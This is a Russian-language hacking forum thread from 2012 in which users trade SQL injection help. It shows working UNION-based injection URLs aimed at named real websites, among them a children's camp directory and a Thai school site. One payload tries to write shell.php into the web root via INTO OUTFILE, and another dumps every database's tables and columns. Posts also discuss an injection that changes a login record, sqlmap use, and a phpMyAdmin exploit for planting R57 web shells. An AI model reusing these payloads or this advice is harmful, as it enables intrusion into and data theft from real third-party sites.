Ваши вопросы по уязвимостям.

26.05.2012, 01:22

Dr.Strangelove

Новичок

Регистрация: 01.12.2008

Сообщений: 26

С нами: 9180250

Репутация: 10

Код:

http://www.ourkids.net/camp/camp-profile-agate.php?id=-710%27%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10%20%20into%20outfile%20%27/var/www/html/ourkids.net/images/shell.php%27%20%20--%20/*

Друзья, кто поможет залиться? Суть проблемы: путь к директориям верный, но мускул выдает ошибку как-будто директории не существует (Errcode: 2), хотя директории реально существуют, и если нет прав на запись, то должна быть (Errcode: 13). Пробовал в разные директории. Результат один. Вообщем смотрите сам и все поймете.

26.05.2012, 01:27

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от Dr.Strangelove

Код:

http://www.ourkids.net/camp/camp-profile-agate.php?id=-710%27%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10%20%20into%20outfile%20%27/var/www/html/ourkids.net/images/shell.php%27%20%20--%20/*

Сам сайт и бд находится на разных серверах.

26.05.2012, 17:34

slayzer

Новичок

Регистрация: 30.04.2009

Сообщений: 9

С нами: 8963907

Репутация: 0

инъекция в post запрос

в таком виде a"");mysql_query("update xxx set login='22223' where login='2222'");

выдает ошибку вида - "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update xxx set login='22223' where login='2222'");"' at line 1"

а если так a"");mysql_query(update xxx set login='22223' where login='2222');

то пост запрос выполняется, но айпейта не происходит.

подскажите в чем трабл

26.05.2012, 19:18

HeaVeNSeR

Новичок

Регистрация: 03.12.2008

Сообщений: 5

С нами: 9176819

Репутация: 1

ребят,подскажите,плз...как скормить sqlmap'у блайнд-скулю типа этой (suffix .html)

http://site.com/common/[sql-inj].html

havij её норм берет,как http://site.com/common/%Inject_Here%.html

и где можно почитать про suffix и prefix в скулях...искал в сети,ничего норм не нашел...?

Подскажите,пожалуйста

26.05.2012, 20:34

cipa21

Новичок

Регистрация: 09.04.2009

Сообщений: 8

С нами: 8994048

Репутация: 0

что делаю не так?

Код:

13+union+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables+limit+39,1--

Такой запрос выдает в один список всю базу information_schema и базу сайта.

Собственно вопрос! Каким запросом посмотреть соседние базы если юзер имеет к ним доступ?

26.05.2012, 20:52

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от cipa21

что делаю не так?

Код:

13+union+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables+limit+39,1--

Такой запрос выдает в один список всю базу information_schema и базу сайта.
Собственно вопрос! Каким запросом посмотреть соседние базы если юзер имеет к ним доступ?

Попробуй в выводимое поле вставить такой шаблон:

Цитата:

Сообщение от None

(select(@x)from(select(@x:=0x00),(select(0)from(in formation_schema.columns)where(table_schema!=0x696 e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:= concat(@x,0x3c62723e,table_schema,0x2e,table_name, 0x3a,column_name))))x)

P.S: а вот и примерчик вставки такого блока.

Цитата:

Сообщение от None

http://www.school.net.th/schoolnet/article/read.php?article_id=-518+UnIon+selECt+1,2,3,concat_ws(0x3a,user(),versi on(),database()),5,6,7,8,9,10,1111,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,(select(@x) from(select(@x:=0x00),(select(0)from(information_s chema.columns)where(table_schema!=0x696e666f726d61 74696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0 x3c62723e,table_schema,0x2e,table_name,0x3a,column _name))))x),31,32,33,34,35,36,37,38,39,40,41,42,43 ,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,6 0,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76, 77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93 ,94,95,96,97,98,99,100,101,102,103,104,105,106,107 ,108,109,110,111,112,113,114,115,116,117,118,119,1 20,121,122,123,124,125,126,127,128,129,130,131,132 ,133,134,135+--+

26.05.2012, 23:18

dynda2000

Новичок

Регистрация: 16.03.2012

Сообщений: 12

С нами: 7451606

Репутация: 0

Ребят помогите разобраться

Есть phpmyadmin 2.11.2.2

Нашел старый сплоит [URL="https://antichat.live/threads/262582/"]phpMyAdmin */

запустил https://127.0.0.1/phpmyadmin/exp.php он мне выдал phpinfo но наверху пишет что есть ошибка в 19 строке $query = $parsed_url['query'];

Затем в шеле вместо подставлял "Antichat shell" и "R57Shell" вижу их дерикторию phpmyadmin с файлами с правами -rw-rw-rw- но ничего там не работает и начал ругаться еще и на это:

Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\core.lib.p hp on line 558

Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 75

Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 76

Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 77

Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 78

Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 84

Что делаю не так ?

26.05.2012, 23:49

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

Сообщение от dynda2000

Ребят помогите разобраться
Есть phpmyadmin 2.11.2.2
Нашел старый сплоит
[URL="https://antichat.live/threads/262582/"]phpMyAdmin */
запустил
https://127.0.0.1/phpmyadmin/exp.php
он мне выдал phpinfo но наверху пишет что есть ошибка в 19 строке $query = $parsed_url['query'];
Затем в шеле вместо подставлял "Antichat shell" и "R57Shell" вижу их дерикторию phpmyadmin с файлами с правами -rw-rw-rw- но ничего там не работает и начал ругаться еще и на это:
Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\core.lib.p hp on line 558
Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 75
Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 76
Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 77
Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 78
Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files (x86)\VertrigoServ\Phpmyadmin\libraries\Config.cla ss.php(377) : eval()'d code:850) in C:\Program Files (x86)\VertrigoServ\Phpmyadmin\scripts\setup.php on line 84
Что делаю не так ?

лей сразу непосредственно шелл

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL